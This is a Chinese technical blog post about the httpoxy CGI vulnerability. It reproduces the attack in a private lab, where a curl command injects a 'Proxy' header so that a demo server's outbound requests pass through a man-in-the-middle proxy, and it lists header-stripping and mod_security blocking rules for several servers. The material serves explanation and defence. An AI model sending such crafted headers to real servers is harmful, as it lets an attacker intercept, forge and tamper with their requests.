首页 > 代码库 > 小说httpoxy
小说httpoxy
前段时间爆出了httpoxy漏洞,从爆出到现在也有两个礼拜了,然而还是有许多人肯定心中还是会有疑问——httpoxy漏洞到底是什么。
这里就让我们来一起看一下httpoxy漏洞到底是什么漏洞,它的成因及影响。
首先,我们要知道什么是httpoxy漏洞。
什么是httpoxy漏洞:
具体来说, httpoxy是一组影响运行在CGI 或者类似CGI环境的漏洞集。
http_poxy漏洞的原理:
由于在CGI(RFC 3875)的模式下,CGI 会把http请求中的Header, 加上HTTP_ 前缀,并且注册为环境变量, 所以如果你在Header中发送一个Proxy:xxxxxx的头部, 那么cgi就会把他注册为HTTP_PROXY环境变量, 于是http_proxy=$HTTP_PROXY就变成可被攻击者控制的参数了。如果攻击者控制了你的http_proxy参数并实施攻击,那你的所有请求, 都会被代理到攻击者想要的地址,之后攻击者就可以伪造,监听,篡改你的请求了。这个就是httpoxy漏洞的原理。
要想成功利用httpoxy漏洞,需要几个前提条件:
(1) 服务器会对外请求资源;
(2) 服务器使用了HTTP_PROXY环境变量来代理请求;
(3) 服务器运行在CGI模式下;
Httpoxy漏洞攻击的重现
下面就以在kali中搭建的apache CGI环境来具体演示其成因(此处apache使用的是mod_php,apache模块模式不受httpoxy漏洞的影响):
由于我们这是自己搭的服务器,我们可以在其中添加cgi脚本,通过访问这个脚本来让服务器向外请求资源。
在服务器中新建一个CGI脚本文件xiaoqin00.cgi
#!/bin/bash
exporthttp_proxy=$HTTP_PROXY //设置http_proxy环境变量
echo ‘‘
/usr/bin/env //打印当前脚本的环境变量
curl 121.42.181.29 //服务器向外访问资源
exit 0
执行这个脚本我们可以看到打印出来的当前环境变量:
SERVER_PORT=80
HTTP_HOST=192.168.2.2
http_proxy=
DOCUMENT_ROOT=/var/www/html
此时,http_proxy还是空的,在运行过程中,CGI会赋予其相关的参数。
然后我们可以构造访问头来改变环境变量的值。
例如我们可以通过curl来自定义头部访问。
curl –H ‘Proxy:192.168.1.2:80’http://192.168.2.2/cgi-bin/xiaoqin00.cgi
(这里的192.168.1.2是我们的一台代理http服务器,用来作中间人;192.168.2.2是apache服务器)
通过curl访问后,我们可以发现脚本环境变量发生了改变:
...HTTP_HOST=192.168.2.2
http_proxy=192.168.1.2:80
DOCUMENT_ROOT=/var/www/html
并且在192.168.1.2的日志文件中我们可以看到访问121.42.181.29的请求:
"GET HTTP://121.42.181.29/HTTP/1.1"
这就说明请求被中间人服务器捕捉到了,httpoxy漏洞重现了。
Httpoxy漏洞的抢救方法:
最直接的抢救方法是立即屏蔽http头中带有proxy字段的请求,这是最简单同时最有效的方法。
具体方法如下:
Nginx/FastCGI
使用以下语句来屏蔽PHP-FPM和PHP-PM 之间的传递
fastcgi_param HTTP_PROXY"";
在FastCGI配置中,PHP是极其容易受到影响的(但其他使用Nginx FastCGI的语言都OK)
Apache
对于具体的apache影响我们建议你阅读官方给出的资料,官方资料将会更加准确和深入。
如果你使用的是携带mod_cgi模块的apache http服务器,这时使用python或者Go代码语言则非常易受漏洞威胁(HTTP_PROXY环境变量是“真凶”)。mod_php则是因为PHP环境才被影响,如果你使用了mod_headers模块的话,在进一步处理指令前你可以先不要预设代理头。
RequestHeader unset Proxy early
如果你使用的是mod_security模块,你可以运用SecRule来阻断代理头的流量,以下例:
SecRule &REQUEST_HEADERS:Proxy"@gt 0" "id:1000005,log,deny,msg:‘httpoxy denied‘"
最后,如果你使用的是apache流量服务器,它一般情况下不会受到影响,但你可以用它来strip 代理头部。具体参考ASF
HAProxy
脱离头部请求处理:
http-request del-header Proxy
varnish
对于varnish的处理:
sub vcl_recv {
[...]
unset req.http.proxy;
[...]
}
OpenBSD relayd
对于relayd,删除头部并加上过滤器:
http protocol httpfilter {
match request header remove "Proxy"
}
参考文章:
http://www.hetianlab.com/expc.do?ce=ffbbd18a-101a-411a-8df2-5eae97514e4a
http://www.freebuf.com/vuls/109451.html
本文出自 “天下皆白,哼” 博客,请务必保留此出处http://xiaoqin00.blog.51cto.com/10468367/1845539
小说httpoxy